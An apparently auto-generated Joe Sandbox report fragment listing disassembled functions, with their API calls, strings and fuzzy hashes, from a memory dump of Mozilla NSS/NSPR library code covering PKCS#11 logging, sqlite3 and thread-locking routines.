Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: b2459c442e80ccbe810fd9df699800717d2fa8113dc4ddba1da1552fcf0c6c35
Instruction ID: af3c1a65e47ec0e2909f7fef57dd4325763358264dd88d472ee87e4c6dbd31b4
Opcode Fuzzy Hash: b2459c442e80ccbe810fd9df699800717d2fa8113dc4ddba1da1552fcf0c6c35
Instruction Fuzzy Hash: 86316677A088E1A7D7284634A9017B9B366F78231BF160129DC749BE14CB61AC568FF3

Function 6CAD2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CAD2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD2E33

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAD2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAD2E81

Strings

pPin = 0x%p, xrefs: 6CAD2E63
hSession = 0x%x, xrefs: 6CAD2E0E, 6CAD2E1E
ulPinLen = %d, xrefs: 6CAD2E7C
C_InitPIN, xrefs: 6CAD2DF1
(CK_INVALID_HANDLE), xrefs: 6CAD2E2C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 5e99f14cee225333371bd1bbbbe19528043ddb91fc0ee45e5abe7c8961a038e9
Instruction ID: 32a4fde064ae1e8bcc0c17ad7f126ead1c14b53c842d4cbe567cf30bd1415275
Opcode Fuzzy Hash: 5e99f14cee225333371bd1bbbbe19528043ddb91fc0ee45e5abe7c8961a038e9
Instruction Fuzzy Hash: E431F575701195ABDB008F14DD4CB9E3BB5EB4631DF0A4128E808A7712DF35AD88CBA2

Function 6CAD6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CAD6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD6F53

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAD6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CAD6FA1

Strings

ulPartLen = %d, xrefs: 6CAD6F9C
hSession = 0x%x, xrefs: 6CAD6F2E, 6CAD6F3E
pPart = 0x%p, xrefs: 6CAD6F83
C_DigestUpdate, xrefs: 6CAD6F11
(CK_INVALID_HANDLE), xrefs: 6CAD6F4C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 4b0be80c393a02d72207df02d1287a297400d04d9c8104055c0b89c35fd27fe5
Instruction ID: aade52fa1c38882a2df3788e8f5f8827b1a0e670873897c08a6a68d9a7ba22f2
Opcode Fuzzy Hash: 4b0be80c393a02d72207df02d1287a297400d04d9c8104055c0b89c35fd27fe5
Instruction Fuzzy Hash: 9431A4757011949BDB009B24DD58BAE77B5EB46319F0A4428E808E7712DB35ED88CA92

Function 6CAD7E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CAD7E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD7E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD7E63

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD7E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAD7E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CAD7EB1

Strings

ulPartLen = %d, xrefs: 6CAD7EAC
hSession = 0x%x, xrefs: 6CAD7E3E, 6CAD7E4E
pPart = 0x%p, xrefs: 6CAD7E93
C_VerifyUpdate, xrefs: 6CAD7E21
(CK_INVALID_HANDLE), xrefs: 6CAD7E5C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: 0ad4b62cced449276023a4750379ba7bf2a20765659854be9ebd9d3e2b6e334e
Instruction ID: ed7ec15fe882b044040f7e7a57bec1ceb9fcdbf3023ab5ed062b49734a868da9
Opcode Fuzzy Hash: 0ad4b62cced449276023a4750379ba7bf2a20765659854be9ebd9d3e2b6e334e
Instruction Fuzzy Hash: 5731E775B01195AFDB049B24DD48BAE77B5EB4231DF0B4028E808E7615DF31AD88CBA2

Function 6CAD7F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CAD7F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD7F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD7F93

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD7FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CAD7FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CAD7FE1

Strings

C_VerifyFinal, xrefs: 6CAD7F51
hSession = 0x%x, xrefs: 6CAD7F6E, 6CAD7F7E
pSignature = 0x%p, xrefs: 6CAD7FC3
ulSignatureLen = %d, xrefs: 6CAD7FDC
(CK_INVALID_HANDLE), xrefs: 6CAD7F8C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: 91a1e427a487e039217e0300b31f4fd4bc3ee8d4282584b4ab91d5abcab4fa5e
Instruction ID: 70a32d64432c15564c22ac956c028fbab26fd3eb249df402efc9c363f375f7d1
Opcode Fuzzy Hash: 91a1e427a487e039217e0300b31f4fd4bc3ee8d4282584b4ab91d5abcab4fa5e
Instruction Fuzzy Hash: FB31A475701194ABDB10DF14DD48BAE77B5EB46319F4A4029E808A7611DB32AD88CBA2

Function 6CB72D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB72D9F

Part of subcall function 6CA2CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA8F9C9,?,6CA8F4DA,6CA8F9C9,?,?,6CA5369A), ref: 6CA2CA7A
Part of subcall function 6CA2CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA2CB26

sqlite3_exec.NSS3(?,?,6CB72F70,?,?), ref: 6CB72DF9
sqlite3_free.NSS3(00000000), ref: 6CB72E2C
sqlite3_free.NSS3(?), ref: 6CB72E3A
sqlite3_free.NSS3(?), ref: 6CB72E52
sqlite3_mprintf.NSS3(6CBDAAF9,?), ref: 6CB72E62
sqlite3_free.NSS3(?), ref: 6CB72E70
sqlite3_free.NSS3(?), ref: 6CB72E89
sqlite3_free.NSS3(?), ref: 6CB72EBB
sqlite3_free.NSS3(?), ref: 6CB72ECB
sqlite3_free.NSS3(00000000), ref: 6CB72F3E
sqlite3_free.NSS3(?), ref: 6CB72F4C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 04c4d952f9b32fb86bf5011da115e8954444f8e56cd5ecb9d06a839a0ab5040e
Instruction ID: cfb4583ad074117d0f9a2c12380ed5a655258a34223b65c4d10f9161863a883c
Opcode Fuzzy Hash: 04c4d952f9b32fb86bf5011da115e8954444f8e56cd5ecb9d06a839a0ab5040e
Instruction Fuzzy Hash: 26617EB5E01255CBEB10CF68D984BDEB7B1EF48358F144028DC65AB741E735E888CBA2

Function 6CAC2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CAC3F23,?,6CABE477,?,?,?,00000001,00000000,?,?,6CAC3F23,?), ref: 6CAC2C62
EnterCriticalSection.KERNEL32(0000001C,?,6CABE477,?,?,?,00000001,00000000,?,?,6CAC3F23,?), ref: 6CAC2C76
PL_HashTableLookup.NSS3(00000000,?,?,6CABE477,?,?,?,00000001,00000000,?,?,6CAC3F23,?), ref: 6CAC2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CABE477,?,?,?,00000001,00000000,?,?,6CAC3F23,?), ref: 6CAC2C93

Part of subcall function 6CB4DD70: TlsGetValue.KERNEL32 ref: 6CB4DD8C
Part of subcall function 6CB4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB4DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CABE477,?,?,?,00000001,00000000,?,?,6CAC3F23,?), ref: 6CAC2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CABE477,?,?,?,00000001,00000000,?,?,6CAC3F23,?), ref: 6CAC2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CABE477,?,?,?,00000001,00000000,?,?,6CAC3F23), ref: 6CAC2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CABE477,?,?,?,00000001,00000000,?), ref: 6CAC2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CABE477,?,?,?,00000001,00000000,?), ref: 6CAC2D4D
EnterCriticalSection.KERNEL32(?), ref: 6CAC2D61
PL_HashTableLookup.NSS3(?,?), ref: 6CAC2D71
PR_Unlock.NSS3(?), ref: 6CAC2D7E

Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907AD
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907CD
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907D6
Part of subcall function 6CA907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA2204A), ref: 6CA907E4
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,6CA2204A), ref: 6CA90864
Part of subcall function 6CA907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA90880
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,6CA2204A), ref: 6CA908CB
Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(?,?,6CA2204A), ref: 6CA908D7
Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(?,?,6CA2204A), ref: 6CA908FB

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 02b1b7a74dc0fef9332a1a1bfb5c2aad794e1e2ea9aa7196713c62fb3a9f9264
Instruction ID: 7e16ac4da661736a5784d1319e59b3050d29ca9840f39ac655c69260a9393e18
Opcode Fuzzy Hash: 02b1b7a74dc0fef9332a1a1bfb5c2aad794e1e2ea9aa7196713c62fb3a9f9264
Instruction Fuzzy Hash: EF51E775E00505ABDB019F24EC459AA77B8FF1535CB088624ED1897B11E731EDE8C7E2

Function 6CAB7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CC02120,Function_00097E60,00000000,?,?,?,?,6CB3067D,6CB31C60,00000000), ref: 6CAB7C81

Part of subcall function 6CA24C70: TlsGetValue.KERNEL32(?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24C97
Part of subcall function 6CA24C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24CB0
Part of subcall function 6CA24C70: PR_Unlock.NSS3(?,?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24CC9

TlsGetValue.KERNEL32 ref: 6CAB7CA0
EnterCriticalSection.KERNEL32(?), ref: 6CAB7CB4
PR_Unlock.NSS3 ref: 6CAB7CCF

Part of subcall function 6CB4DD70: TlsGetValue.KERNEL32 ref: 6CB4DD8C
Part of subcall function 6CB4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB4DDB4

TlsGetValue.KERNEL32 ref: 6CAB7D04
EnterCriticalSection.KERNEL32(?), ref: 6CAB7D1B
realloc.MOZGLUE(-00000050), ref: 6CAB7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAB7DF4
PR_Unlock.NSS3 ref: 6CAB7E0E

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 679754e5fca8200b6282de696f7c552a1e3dc63b7273d45c51f2c49d2dee2636
Instruction ID: 87221e53403ddd16b4ae0c7f1b87bf3da4ac5864a3cec73e6163b6a4a9c5273f
Opcode Fuzzy Hash: 679754e5fca8200b6282de696f7c552a1e3dc63b7273d45c51f2c49d2dee2636
Instruction Fuzzy Hash: 5B51F475B081009FDB105F28DC44B6577B9FB06358F1A812EEA04E7712EB72D8D4CAA1

Function 6CA24C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24CB0
PR_Unlock.NSS3(?,?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24D97
PR_Lock.NSS3(?,?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24DBA
PR_WaitCondVar.NSS3 ref: 6CA24DD4
PR_Unlock.NSS3(?,?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24DEF

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: a9d1eef452db85f5d5b1ff1cf129572a006d0f81625529de0869cc0ccaf04cd8
Instruction ID: e799063c9f7b3bb573a300c50244bd999aacd2275a0419e0803df67ffa94572f
Opcode Fuzzy Hash: a9d1eef452db85f5d5b1ff1cf129572a006d0f81625529de0869cc0ccaf04cd8
Instruction Fuzzy Hash: C2417CB5A14A65CFCB00AFBCD484559BBF4FF05318F0A8669D8989BB01E734D8C5CB81

Function 6CBB7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CBB7CE0

Part of subcall function 6CB69BF0: TlsGetValue.KERNEL32(?,?,?,6CBB0A75), ref: 6CB69C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBB7D36
PR_Realloc.NSS3(?,00000080), ref: 6CBB7D6D
PR_GetCurrentThread.NSS3 ref: 6CBB7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CBB7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBB7DD8
malloc.MOZGLUE(00000080), ref: 6CBB7DF8
PR_GetCurrentThread.NSS3 ref: 6CBB7E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CBB7DF0
:%s:%d:0x%lx, xrefs: 6CBB7DB9

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 7dcee79b49e50a6bfd227bc691e828c34a8c14db5f46d34d2e66aec2ace801ae
Instruction ID: bba1ac05ef0c32378476fb2d7e41a2016d4988a8f7f7d97156d7aa4a7c46d2c9
Opcode Fuzzy Hash: 7dcee79b49e50a6bfd227bc691e828c34a8c14db5f46d34d2e66aec2ace801ae
Instruction Fuzzy Hash: E541C3B19002919FDB04CF29CC809BE37B6FF84358B25456CE819BBB51DB71E845CBA2

Function 6CBB7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBB7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CBB7E46

Part of subcall function 6CA91240: TlsGetValue.KERNEL32(00000040,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA91267
Part of subcall function 6CA91240: EnterCriticalSection.KERNEL32(?,?,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA9127C
Part of subcall function 6CA91240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA91291
Part of subcall function 6CA91240: PR_Unlock.NSS3(?,?,?,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA912A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CBB7EAF
PR_ImportFile.NSS3(?), ref: 6CBB7ECF
PR_GetCurrentThread.NSS3 ref: 6CBB7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CBB7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CBB7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CBB7F15

Strings

%d:0x%lx, xrefs: 6CBB7EA9
NSPR_INHERIT_FDS, xrefs: 6CBB7E41

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 8818252c9188cd6488ff10629c931c29a49497e28ad7cca3d0e0dc8f1cc147fb
Instruction ID: d7d69e1617626a27e7eb15a64de7533ea31c552b1c9645d4ad363820c0c94742
Opcode Fuzzy Hash: 8818252c9188cd6488ff10629c931c29a49497e28ad7cca3d0e0dc8f1cc147fb
Instruction Fuzzy Hash: FE312370A081D58BEB009B69C840EBFB7ACFF05348F140565E846B3A11EBB19D48C7A2

Function 6CAEECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CAEDE64), ref: 6CAEED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAEED22

Part of subcall function 6CAFB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBD18D0,?), ref: 6CAFB095

PL_FreeArenaPool.NSS3(?), ref: 6CAEED4A
PL_FinishArenaPool.NSS3(?), ref: 6CAEED6B
PR_CallOnce.NSS3(6CC02AA4,6CB012D0), ref: 6CAEED38

Part of subcall function 6CA24C70: TlsGetValue.KERNEL32(?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24C97
